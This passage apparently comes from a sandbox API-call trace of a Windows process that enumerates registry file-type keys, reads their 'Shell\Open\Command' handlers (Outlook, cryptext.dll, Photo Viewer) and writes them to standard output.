(hKey=0x0) returned 0x6 [0101.223] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xaf3, lpName=0x2eef50, cchName=0x104 | out: lpName="Outlook.OlkListBox.1") returned 0x0 [0101.223] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Outlook.OlkListBox.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.223] SetLastError (dwErrCode=0x2) [0101.223] RegCloseKey (hKey=0x0) returned 0x6 [0101.223] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xaf4, lpName=0x2eef50, cchName=0x104 | out: lpName="Outlook.OlkOptionButton") returned 0x0 [0101.223] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Outlook.OlkOptionButton\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.223] SetLastError (dwErrCode=0x2) [0101.223] RegCloseKey (hKey=0x0) returned 0x6 [0101.223] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xaf5, lpName=0x2eef50, cchName=0x104 | out: lpName="Outlook.OlkOptionButton.1") returned 0x0 [0101.223] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Outlook.OlkOptionButton.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.223] SetLastError (dwErrCode=0x2) [0101.223] RegCloseKey (hKey=0x0) returned 0x6 [0101.223] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xaf6, lpName=0x2eef50, cchName=0x104 | out: lpName="Outlook.OlkPageControl") returned 0x0 [0101.223] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Outlook.OlkPageControl\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.224] SetLastError (dwErrCode=0x2) [0101.224] RegCloseKey (hKey=0x0) returned 0x6 [0101.224] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xaf7, lpName=0x2eef50, cchName=0x104 | out: lpName="Outlook.OlkPageControl.1") returned 0x0 [0101.224] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Outlook.OlkPageControl.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.224] SetLastError (dwErrCode=0x2) [0101.224] RegCloseKey (hKey=0x0) returned 0x6 [0101.224] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xaf8, lpName=0x2eef50, cchName=0x104 | out: lpName="Outlook.OlkSenderPhoto") returned 0x0 [0101.224] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Outlook.OlkSenderPhoto\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.224] SetLastError (dwErrCode=0x2) [0101.224] RegCloseKey (hKey=0x0) returned 0x6 [0101.224] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xaf9, lpName=0x2eef50, cchName=0x104 | out: lpName="Outlook.OlkSenderPhoto.1") returned 0x0 [0101.224] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Outlook.OlkSenderPhoto.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.224] SetLastError (dwErrCode=0x2) [0101.224] RegCloseKey (hKey=0x0) returned 0x6 [0101.224] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xafa, lpName=0x2eef50, cchName=0x104 | out: lpName="Outlook.OlkTextBox") returned 0x0 [0101.224] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Outlook.OlkTextBox\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.224] SetLastError (dwErrCode=0x2) [0101.224] RegCloseKey (hKey=0x0) returned 0x6 [0101.224] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xafb, lpName=0x2eef50, cchName=0x104 | out: lpName="Outlook.OlkTextBox.1") returned 0x0 [0101.224] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Outlook.OlkTextBox.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.224] SetLastError (dwErrCode=0x2) [0101.225] RegCloseKey (hKey=0x0) returned 0x6 [0101.225] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xafc, lpName=0x2eef50, cchName=0x104 | out: lpName="Outlook.OlkTimeControl") returned 0x0 [0101.225] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Outlook.OlkTimeControl\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.225] SetLastError (dwErrCode=0x2) [0101.225] RegCloseKey (hKey=0x0) returned 0x6 [0101.225] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xafd, lpName=0x2eef50, cchName=0x104 | out: lpName="Outlook.OlkTimeControl.1") returned 0x0 [0101.225] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Outlook.OlkTimeControl.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.225] SetLastError (dwErrCode=0x2) [0101.225] RegCloseKey (hKey=0x0) returned 0x6 [0101.225] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xafe, lpName=0x2eef50, cchName=0x104 | out: lpName="Outlook.OlkTimeZone") returned 0x0 [0101.225] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Outlook.OlkTimeZone\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.225] SetLastError (dwErrCode=0x2) [0101.225] RegCloseKey (hKey=0x0) returned 0x6 [0101.225] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xaff, lpName=0x2eef50, cchName=0x104 | out: lpName="Outlook.OlkTimeZone.1") returned 0x0 [0101.225] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Outlook.OlkTimeZone.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.225] SetLastError (dwErrCode=0x2) [0101.225] RegCloseKey (hKey=0x0) returned 0x6 [0101.225] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb00, lpName=0x2eef50, cchName=0x104 | out: lpName="Outlook.Search.MAPI16Handler.1") returned 0x0 [0101.225] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Outlook.Search.MAPI16Handler.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.225] SetLastError (dwErrCode=0x2) [0101.225] RegCloseKey (hKey=0x0) returned 0x6 [0101.225] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb01, lpName=0x2eef50, cchName=0x104 | out: lpName="Outlook.URL.feed.15") returned 0x0 [0101.226] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Outlook.URL.feed.15\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x64) returned 0x0 [0101.226] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x0, lpcbData=0x2eef20*=0x0 | out: lpType=0x2eef28*=0x1, lpData=0x0, lpcbData=0x2eef20*=0x94) returned 0x0 [0101.226] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x3c5e10, lpcbData=0x2eef20*=0x94 | out: lpType=0x2eef28*=0x1, lpData="\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /share \"%1\"", lpcbData=0x2eef20*=0x94) returned 0x0 [0101.226] RegCloseKey (hKey=0x64) returned 0x0 [0101.226] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Outlook.URL.feed.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /share \"%1\"\r\n") returned 95 [0101.226] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.226] GetFileType (hFile=0x5c) returned 0x3 [0101.226] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.226] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Outlook.URL.feed.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /share \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Outlook.URL.feed.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /share \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 96 [0101.226] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x5f, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x5f, lpOverlapped=0x0) returned 1 [0101.226] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb02, lpName=0x2eef50, cchName=0x104 | out: lpName="Outlook.URL.mailto.15") returned 0x0 [0101.226] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Outlook.URL.mailto.15\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x64) returned 0x0 [0101.226] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x0, lpcbData=0x2eef20*=0x0 | out: lpType=0x2eef28*=0x1, lpData=0x0, lpcbData=0x2eef20*=0xae) returned 0x0 [0101.227] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x3c5e10, lpcbData=0x2eef20*=0xae | out: lpType=0x2eef28*=0x1, lpData="\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" -c IPM.Note /mailto \"%1\"", lpcbData=0x2eef20*=0xae) returned 0x0 [0101.227] RegCloseKey (hKey=0x64) returned 0x0 [0101.227] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Outlook.URL.mailto.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" -c IPM.Note /mailto \"%1\"\r\n") returned 110 [0101.227] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.227] GetFileType (hFile=0x5c) returned 0x3 [0101.227] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.227] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Outlook.URL.mailto.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" -c IPM.Note /mailto \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Outlook.URL.mailto.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" -c IPM.Note /mailto \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 111 [0101.227] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x6e, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x6e, lpOverlapped=0x0) returned 1 [0101.227] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb03, lpName=0x2eef50, cchName=0x104 | out: lpName="Outlook.URL.stssync.15") returned 0x0 [0101.227] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Outlook.URL.stssync.15\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x64) returned 0x0 [0101.227] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x0, lpcbData=0x2eef20*=0x0 | out: lpType=0x2eef28*=0x1, lpData=0x0, lpcbData=0x2eef20*=0x94) returned 0x0 [0101.232] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x3c5e10, lpcbData=0x2eef20*=0x94 | out: lpType=0x2eef28*=0x1, lpData="\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /share \"%1\"", lpcbData=0x2eef20*=0x94) returned 0x0 [0101.232] RegCloseKey (hKey=0x64) returned 0x0 [0101.232] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Outlook.URL.stssync.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /share \"%1\"\r\n") returned 98 [0101.232] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.232] GetFileType (hFile=0x5c) returned 0x3 [0101.232] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.232] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Outlook.URL.stssync.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /share \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Outlook.URL.stssync.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /share \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 99 [0101.232] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x62, lpOverlapped=0x0) returned 1 [0101.232] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb04, lpName=0x2eef50, cchName=0x104 | out: lpName="Outlook.URL.webcal.15") returned 0x0 [0101.232] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Outlook.URL.webcal.15\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x64) returned 0x0 [0101.233] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x0, lpcbData=0x2eef20*=0x0 | out: lpType=0x2eef28*=0x1, lpData=0x0, lpcbData=0x2eef20*=0x94) returned 0x0 [0101.233] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x3c5e10, lpcbData=0x2eef20*=0x94 | out: lpType=0x2eef28*=0x1, lpData="\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /share \"%1\"", lpcbData=0x2eef20*=0x94) returned 0x0 [0101.233] RegCloseKey (hKey=0x64) returned 0x0 [0101.233] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Outlook.URL.webcal.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /share \"%1\"\r\n") returned 97 [0101.233] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.233] GetFileType (hFile=0x5c) returned 0x3 [0101.233] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.233] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Outlook.URL.webcal.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /share \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Outlook.URL.webcal.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /share \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 98 [0101.233] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x61, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x61, lpOverlapped=0x0) returned 1 [0101.233] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb05, lpName=0x2eef50, cchName=0x104 | out: lpName="OutlPOPPH") returned 0x0 [0101.233] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="OutlPOPPH\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.233] SetLastError (dwErrCode=0x2) [0101.233] RegCloseKey (hKey=0x0) returned 0x6 [0101.233] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb06, lpName=0x2eef50, cchName=0x104 | out: lpName="OutlSMTPPH") returned 0x0 [0101.233] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="OutlSMTPPH\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.233] SetLastError (dwErrCode=0x2) [0101.233] RegCloseKey (hKey=0x0) returned 0x6 [0101.233] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb07, lpName=0x2eef50, cchName=0x104 | out: lpName="outlspam.SmartScreenFactoryOutlook") returned 0x0 [0101.233] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="outlspam.SmartScreenFactoryOutlook\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.234] SetLastError (dwErrCode=0x2) [0101.234] RegCloseKey (hKey=0x0) returned 0x6 [0101.234] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb08, lpName=0x2eef50, cchName=0x104 | out: lpName="OVCtl.OVCtl") returned 0x0 [0101.234] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="OVCtl.OVCtl\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.234] SetLastError (dwErrCode=0x2) [0101.234] RegCloseKey (hKey=0x0) returned 0x6 [0101.234] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb09, lpName=0x2eef50, cchName=0x104 | out: lpName="OVCtl.OVCtl.1") returned 0x0 [0101.234] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="OVCtl.OVCtl.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.234] SetLastError (dwErrCode=0x2) [0101.234] RegCloseKey (hKey=0x0) returned 0x6 [0101.234] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb0a, lpName=0x2eef50, cchName=0x104 | out: lpName="OWS.PostData") returned 0x0 [0101.234] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="OWS.PostData\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.234] SetLastError (dwErrCode=0x2) [0101.234] RegCloseKey (hKey=0x0) returned 0x6 [0101.234] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb0b, lpName=0x2eef50, cchName=0x104 | out: lpName="P10File") returned 0x0 [0101.234] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="P10File\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.234] SetLastError (dwErrCode=0x2) [0101.234] RegCloseKey (hKey=0x0) returned 0x6 [0101.234] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb0c, lpName=0x2eef50, cchName=0x104 | out: lpName="P7MFile") returned 0x0 [0101.234] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="P7MFile\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.234] SetLastError (dwErrCode=0x2) [0101.234] RegCloseKey (hKey=0x0) returned 0x6 [0101.234] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb0d, lpName=0x2eef50, cchName=0x104 | out: lpName="P7RFile") returned 0x0 [0101.234] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="P7RFile\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x64) returned 0x0 [0101.235] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x0, lpcbData=0x2eef20*=0x0 | out: lpType=0x2eef28*=0x2, lpData=0x0, lpcbData=0x2eef20*=0x86) returned 0x0 [0101.235] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x3c5e10, lpcbData=0x2eef20*=0x86 | out: lpType=0x2eef28*=0x2, lpData="%SystemRoot%\\system32\\rundll32.exe cryptext.dll,CryptExtOpenP7R %1", lpcbData=0x2eef20*=0x86) returned 0x0 [0101.235] RegCloseKey (hKey=0x64) returned 0x0 [0101.235] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="P7RFile=%SystemRoot%\\system32\\rundll32.exe cryptext.dll,CryptExtOpenP7R %1\r\n") returned 76 [0101.235] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.235] GetFileType (hFile=0x5c) returned 0x3 [0101.235] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.235] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="P7RFile=%SystemRoot%\\system32\\rundll32.exe cryptext.dll,CryptExtOpenP7R %1\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="P7RFile=%SystemRoot%\\system32\\rundll32.exe cryptext.dll,CryptExtOpenP7R %1\r\n", lpUsedDefaultChar=0x0) returned 77 [0101.235] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x4c, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x4c, lpOverlapped=0x0) returned 1 [0101.235] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb0e, lpName=0x2eef50, cchName=0x104 | out: lpName="P7SFile") returned 0x0 [0101.235] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="P7SFile\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x64) returned 0x0 [0101.236] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x0, lpcbData=0x2eef20*=0x0 | out: lpType=0x2eef28*=0x2, lpData=0x0, lpcbData=0x2eef20*=0x8c) returned 0x0 [0101.236] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x3c5e10, lpcbData=0x2eef20*=0x8c | out: lpType=0x2eef28*=0x2, lpData="%SystemRoot%\\system32\\\\rundll32.exe cryptext.dll,CryptExtOpenPKCS7 %1", lpcbData=0x2eef20*=0x8c) returned 0x0 [0101.236] RegCloseKey (hKey=0x64) returned 0x0 [0101.236] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="P7SFile=%SystemRoot%\\system32\\\\rundll32.exe cryptext.dll,CryptExtOpenPKCS7 %1\r\n") returned 79 [0101.236] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.236] GetFileType (hFile=0x5c) returned 0x3 [0101.236] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.236] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="P7SFile=%SystemRoot%\\system32\\\\rundll32.exe cryptext.dll,CryptExtOpenPKCS7 %1\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="P7SFile=%SystemRoot%\\system32\\\\rundll32.exe cryptext.dll,CryptExtOpenPKCS7 %1\r\n", lpUsedDefaultChar=0x0) returned 80 [0101.236] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x4f, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x4f, lpOverlapped=0x0) returned 1 [0101.236] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb0f, lpName=0x2eef50, cchName=0x104 | out: lpName="Package") returned 0x0 [0101.236] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Package\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.236] SetLastError (dwErrCode=0x2) [0101.237] RegCloseKey (hKey=0x0) returned 0x6 [0101.237] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb10, lpName=0x2eef50, cchName=0x104 | out: lpName="Package2") returned 0x0 [0101.237] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Package2\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.237] SetLastError (dwErrCode=0x2) [0101.237] RegCloseKey (hKey=0x0) returned 0x6 [0101.237] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb11, lpName=0x2eef50, cchName=0x104 | out: lpName="Paint.Picture") returned 0x0 [0101.237] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Paint.Picture\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x64) returned 0x0 [0101.237] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x0, lpcbData=0x2eef20*=0x0 | out: lpType=0x2eef28*=0x2, lpData=0x0, lpcbData=0x2eef20*=0xe4) returned 0x0 [0101.237] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x3c9380, lpcbData=0x2eef20*=0xe4 | out: lpType=0x2eef28*=0x2, lpData="%SystemRoot%\\System32\\rundll32.exe \"%ProgramFiles%\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen %1", lpcbData=0x2eef20*=0xe4) returned 0x0 [0101.237] RegCloseKey (hKey=0x64) returned 0x0 [0101.237] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Paint.Picture=%SystemRoot%\\System32\\rundll32.exe \"%ProgramFiles%\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen %1\r\n") returned 129 [0101.237] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.237] GetFileType (hFile=0x5c) returned 0x3 [0101.237] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.237] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Paint.Picture=%SystemRoot%\\System32\\rundll32.exe \"%ProgramFiles%\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen %1\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Paint.Picture=%SystemRoot%\\System32\\rundll32.exe \"%ProgramFiles%\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen %1\r\n", lpUsedDefaultChar=0x0) returned 130 [0101.237] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x81, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x81, lpOverlapped=0x0) returned 1 [0101.238] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb12, lpName=0x2eef50, cchName=0x104 | out: lpName="PairingFolderItem") returned 0x0 [0101.238] 